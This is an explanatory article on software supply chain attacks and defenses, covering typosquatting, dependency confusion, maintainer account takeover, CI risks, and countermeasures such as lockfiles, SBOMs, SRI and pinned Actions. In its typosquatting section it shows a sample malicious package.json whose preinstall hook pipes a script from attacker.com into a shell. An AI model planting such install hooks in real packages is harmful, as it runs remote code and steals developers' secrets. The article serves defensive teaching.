What is Supply Chain Security? Dependencies, SBOMs, and the Attack That Hit 2.6 Billion npm Downloads

Your application is only as secure as every package it depends on. In September 2025, attackers compromised 27 npm packages with 2.6 billion weekly downloads by phishing one maintainer.

On September 8, 2025, a maintainer of critical JavaScript infrastructure packages received an email that appeared to come from npm support. It looked legitimate. He'd had a long week. He clicked.

Within hours, attackers had his credentials and were pushing malicious versions of packages he maintained — including chalk, debug, ansi-styles, and strip-ansi. Combined, those packages had over 2.6 billion weekly downloads. Any organization building Node.js applications that ran npm install in those hours risked pulling malicious code into production. CISA issued an emergency advisory. The security community scrambled to identify which versions were safe.

One phishing email. 2.6 billion weekly downloads. That's the supply chain attack surface.

Modern applications are not primarily code you wrote. They're assemblages of dependencies. A typical Node.js application with 50 direct dependencies has 500+ transitive dependencies — packages that your packages depend on. A Python application using Django pulls in a similar tree. According to the Linux Foundation's Census II study, open source software makes up 70-90% of a modern application's codebase. That 70-90% is code written by people you've never met, maintained by volunteers, distributed through registries with varying levels of security controls.

Compromise one package in that tree and you've compromised every application that uses it.

The Attack Vectors

Typosquatting

The oldest and simplest supply chain attack. Publish a malicious package with a name nearly identical to a popular one, wait for developers to make a typo during installation.

# Popular packages and their typosquatted versions (historical examples)
# lodash    → lodsash, loadash, ldoash
# express   → expres, expresss, exrpess
# request   → reqeust, requets
# react     → reacts, raect
# moment    → momnet

The malicious package runs its install script immediately on npm install and can execute arbitrary code in the developer's environment, exfiltrate environment variables, or install persistent backdoors.

// package.json of a malicious typosquat
{
  "name": "requrest",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "node -e \"require('child_process').exec('curl attacker.com/steal.sh|sh')\"",
    "postinstall": "node steal.js"
  }
}

The preinstall and postinstall scripts run automatically when the package is installed. No further action required from the victim beyond npm install requrest.

Dependency Confusion

A more sophisticated attack discovered by security researcher Alex Birsan in 2021, who earned over $130,000 in bug bounties demonstrating it across Apple, Microsoft, PayPal, and 30 other companies.

The attack exploits how package managers resolve package names when both public and private registries are configured.

The setup: Many organizations have internal packages published to private npm registries. A company might have @acme/auth-service published internally at registry.acme.com/npm.

The attack: Attacker discovers the name of the internal package (from published code, job postings, error messages, leaked config files), then publishes a package with the same name to the public npm registry at a higher version number.

# Attacker sees in a company's public GitHub:
# .npmrc: registry=https://registry.acme.com/npm
# package.json: "@acme/auth-service": "^1.2.0"
 
# Attacker publishes to public npm:
# @acme/auth-service version 9.9.9 (higher than internal version 1.2.x)
# Package contains malicious postinstall script
 
# When developer or CI system runs npm install:
# npm checks both registries and installs the HIGHER version
# That's the attacker's version on the public registry

When Birsan demonstrated this against Microsoft, his malicious packages ran on internal Microsoft build infrastructure and exfiltrated hostname, username, and environment data from hundreds of Microsoft developer machines.

Maintainer Account Compromise

The September 2025 npm attack and numerous others operate by stealing the credentials of trusted package maintainers. Instead of impersonating packages, the attacker becomes the maintainer — they can publish legitimate-signed updates that appear authentic to every downstream consumer.

The attack path:

  1. Phishing email targeting package maintainers (often spoofing npm or GitHub)
  2. Stolen credentials used to publish malicious versions
  3. Malicious code added to packages used by millions
  4. Automated spread: compromised packages inject code to compromise other packages' maintainer accounts

This is what made the September 2025 attack particularly dangerous — it was a worm. Compromised packages used the stolen credentials to authenticate to npm and publish malicious versions of packages the maintainer had publish rights to, which in turn tried to steal credentials from developers who installed them.

Compromised Build Pipeline

Your CI/CD system has broad access: it clones your code, installs dependencies, runs tests, builds artifacts, and deploys to production. Compromise the build system and you can inject code into every artifact it produces.

# GitHub Actions — vulnerable workflow
name: Build and Deploy
on: push
 
jobs:
  build:
    steps:
      - uses: actions/checkout@v3
      
      # RISKY — using a third-party action at a mutable ref
      - uses: some-maintainer/setup-action@main  # 'main' can change
      
      # BETTER — pin to a specific commit hash
      # - uses: some-maintainer/setup-action@abc123def456  # Immutable
      
      - run: npm install  # All transitive dependencies without pinning
      - run: npm run build
      - run: npm run deploy

Third-party GitHub Actions are themselves software that runs in your pipeline with access to your secrets. If an action's repository is compromised, every pipeline using @main or @v1 automatically uses the malicious version.

The SolarWinds Pattern: Compromising the Build Process

The 2020 SolarWinds breach demonstrated the most sophisticated supply chain attack: injecting malicious code into the build process itself, not the source code repository. The attackers modified the build system to add a backdoor to SolarWinds' Orion software during compilation, then removed the modification. The source code was clean. The compiled binaries were backdoored. 18,000 organizations received the malicious update.

Detection was essentially impossible using traditional code review.

The 2025-2026 Attack Landscape

September 2025 npm attack (Shai-Hulud): A single maintainer compromised via phishing led to 27+ packages affected, 2.6+ billion weekly downloads exposed, CISA emergency advisory issued. The attack specifically targeted cloud provider credentials (AWS, GCP, Azure) via credential-scanning malware.

Axios supply chain attack (2026): The axios HTTP client — downloaded over 100 million times weekly — was compromised via a maintainer account takeover. The attackers introduced plain-crypto-js, a malicious dependency that deobfuscated payloads at runtime to evade detection, executed shell commands, and staged persistence mechanisms.

The pattern that's accelerating: Attackers have moved from typosquatting (which is easy to detect) to credential-based attacks that compromise legitimate maintainers. The result is malicious code signed with the trusted maintainer's key, indistinguishable from legitimate updates to most security tooling.

Dependency Pinning and Lockfiles

Never use floating version ranges in production. Pin every direct dependency to an exact version. Use lockfiles to ensure every install gets the same tree.

// package.json — WRONG
{
  "dependencies": {
    "express": "^4.18.0",    // Accepts any 4.x — auto-updates
    "axios": "~1.6.0",       // Accepts 1.6.x — auto-updates patches
    "chalk": "*"             // Accepts anything — catastrophic
  }
}
 
// package.json — BETTER
{
  "dependencies": {
    "express": "4.18.3",     // Exact version
    "axios": "1.6.7",        // Exact version
    "chalk": "5.3.0"         // Exact version
  }
}

But exact versions in package.json still don't pin transitive dependencies. Lockfiles do:

# npm
npm install           # Creates/updates package-lock.json
npm ci                # Installs exactly what's in lockfile — use in CI
                      # Fails if lockfile doesn't match package.json
 
# yarn
yarn install          # Creates/updates yarn.lock
yarn install --frozen-lockfile  # CI: fail if lock would change
 
# pip
pip install -r requirements.txt
# Or with exact hash checking:
pip install --require-hashes -r requirements.txt

Commit your lockfile. package-lock.json and yarn.lock should be in version control. This ensures every developer and CI run gets exactly the same dependency tree.

Subresource Integrity (SRI)

For CDN-hosted JavaScript and CSS, SRI ensures the browser refuses to execute resources that have been tampered with:

<!-- Without SRI — if CDN is compromised, malicious JS runs -->
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script>
 
<!-- With SRI — browser verifies hash before executing -->
<script 
  src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"
  integrity="sha384-kenU1KFdBIe4zVF0s0G1M5b4hcpxyD9F7jL+jjXkk+Q2h455rYXK/7HAuoJl+0I"
  crossorigin="anonymous">
</script>

The integrity attribute contains a hash of the resource. If the CDN serves a different file (modified by an attacker), the hash won't match and the browser blocks execution entirely.

Generate SRI hashes:

# Generate SRI hash for a file
openssl dgst -sha384 -binary bootstrap.min.js | openssl base64 -A
# Or use: https://www.srihash.org/

Software Bill of Materials (SBOM)

An SBOM is a formal inventory of every component in your software — every package, every version, every license. Think of it as a list of ingredients for your application.

When a critical vulnerability is disclosed (Log4Shell, the September 2025 npm attack), organizations with SBOMs can answer "are we affected?" in minutes instead of days.

# Generate SBOM with syft
syft packages dir:. -o spdx-json > sbom.json
syft packages docker:myapp:latest -o cyclonedx-json > sbom-cyclonedx.json
 
# Generate SBOM with npm
npm sbom --sbom-format spdx > sbom.json
 
# Scan SBOM for vulnerabilities with grype
grype sbom:./sbom.json
// sbom.json excerpt (SPDX format)
{
  "spdxVersion": "SPDX-2.3",
  "name": "myapp",
  "packages": [
    {
      "name": "express",
      "version": "4.18.3",
      "licenseConcluded": "MIT",
      "filesAnalyzed": false
    },
    {
      "name": "axios",
      "version": "1.6.7",
      "licenseConcluded": "MIT"
    }
  ]
}

Executive Order 14028 (2021) made SBOMs mandatory for software sold to the US federal government. The practice is increasingly a requirement for enterprise software contracts and vendor security assessments.

Automated Dependency Scanning

Manual review of hundreds of dependencies is impossible. Automate it.

GitHub Dependabot:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    reviewers:
      - "security-team"
    labels:
      - "security"
    # Only auto-merge patch updates
    # Require review for minor and major

Dependabot monitors your dependencies against the GitHub Advisory Database and opens pull requests for security updates automatically.

Socket.dev — specifically designed to detect malicious packages rather than just CVEs:

# Install Socket CLI
npm install -g @socketsecurity/cli
 
# Scan for suspicious packages
socket npm install --dry-run
 
# Or integrate in CI:
socket ci check

Socket analyzes package behavior — whether a new version suddenly starts making network requests, reading environment variables, or executing shell commands. This catches the behavioral changes that indicate supply chain compromise before CVEs are published.

Snyk and Trivy for comprehensive scanning:

# Snyk — dependency vulnerability scanning
snyk test
snyk monitor  # Continuously monitor for new vulnerabilities
 
# Trivy — scan Docker images for vulnerable dependencies
trivy image myapp:latest
trivy fs ./  # Scan the filesystem

Dependency Confusion Prevention

To prevent dependency confusion attacks:

# .npmrc — configure npm to use private registry for scoped packages
@acme:registry=https://registry.acme.com/npm
 
# But ALSO configure public registry as fallback
registry=https://registry.npmjs.org/
 
# This is still vulnerable to dependency confusion.
# The fix: publish your internal packages to the public registry too,
# even as empty stubs, to claim the namespace.
 
# For high-security: configure npm to ONLY use your private registry
registry=https://registry.acme.com/npm
# Now public packages must be explicitly mirrored to your registry

The cleanest solution: maintain a private mirror of the packages you use, explicitly approve each dependency, and proxy only approved packages. Requires operational overhead but eliminates both typosquatting and dependency confusion attacks.

GitHub Actions and CI Hardening

name: Secure Build Pipeline
on: push
 
jobs:
  build:
    permissions:
      contents: read        # Minimal permissions
      
    steps:
      # Pin ALL actions to specific SHA — not tag names
      # Tags can be moved. SHA is immutable.
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2
      
      - name: Setup Node.js
        uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af  # v4.1.0
        with:
          node-version: '20'
          cache: 'npm'
      
      # Use npm ci — NOT npm install — in CI
      # npm ci: uses lockfile exactly, fails if lockfile doesn't match
      - run: npm ci
      
      # Audit before build
      - run: npm audit --audit-level=high
      
      # Run security scanning
      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@9ab158e8597f3b310480b9a69402b419bc03dbd0
        with:
          scan-type: 'fs'
          exit-code: '1'
          severity: 'HIGH,CRITICAL'

Never use @main, @master, or mutable tags in GitHub Actions. Always pin to commit SHA. Any action at a mutable reference can be silently updated to run malicious code in your pipeline.

When a Compromise Happens

When a package you use is reported compromised (like the September 2025 npm attack):

# 1. Immediately check if you're using the affected package
npm list chalk debug ansi-styles strip-ansi
 
# 2. Check if you have the malicious version
npm list chalk | grep -E "5\.6\.1|malicious_version"
 
# 3. Lock to known-safe version
npm install [email protected]  # Known safe version before compromise
# Update package-lock.json
 
# 4. Audit your installed packages
npm audit
npm audit --audit-level=critical
 
# 5. Check if malicious code executed (look for the IOCs)
# September 2025 attack IOCs: 
# - Outbound connections to webhook.site domains
# - New files in /tmp or system directories
# - Unexpected git commits
 
# 6. Rotate any credentials that may have been exposed
# Environment variables are accessible to postinstall scripts
# Any AWS_ACCESS_KEY, DATABASE_URL, API keys in environment should be rotated
 
# 7. Update lockfile and deploy
npm ci

CISA's guidance for the September 2025 npm attack: "Pin npm package dependency versions to known safe releases produced prior to Sept. 16, 2025. Immediately rotate all developer credentials."

The Mindset Shift

Every dependency is a trust decision. When you npm install express, you're trusting TJ Holowaychuk's code, every contributor to Express over 15 years, and the npm registry's security practices. When you use a transitively-included package two levels deep, you're trusting someone you've never heard of maintaining a utility library they wrote in 2015 and haven't looked at since.

Software supply chain attacks rose more than 30% in 2025. Global losses are projected to reach $60 billion by end of 2026. The attack surface is the 70-90% of your application that you didn't write.

The defenses scale with this reality: SBOMs give you visibility into what you're running. Lockfiles give you control over what gets installed. Automated scanning gives you coverage. Behavioral analysis tools (Socket, Semgrep Supply Chain) detect malicious packages that traditional CVE databases miss because they're too new to have CVEs yet.

The Shai-Hulud worm spread through 500+ npm packages from one phishing email. The axios compromise of 2026 hit 100 million weekly downloads through one maintainer account takeover. Neither required a vulnerability in your code. They required you to run npm install.

That's the supply chain threat. The defense is treating your dependency tree with the same scrutiny you'd apply to code you wrote yourself — because in production, there's no meaningful distinction.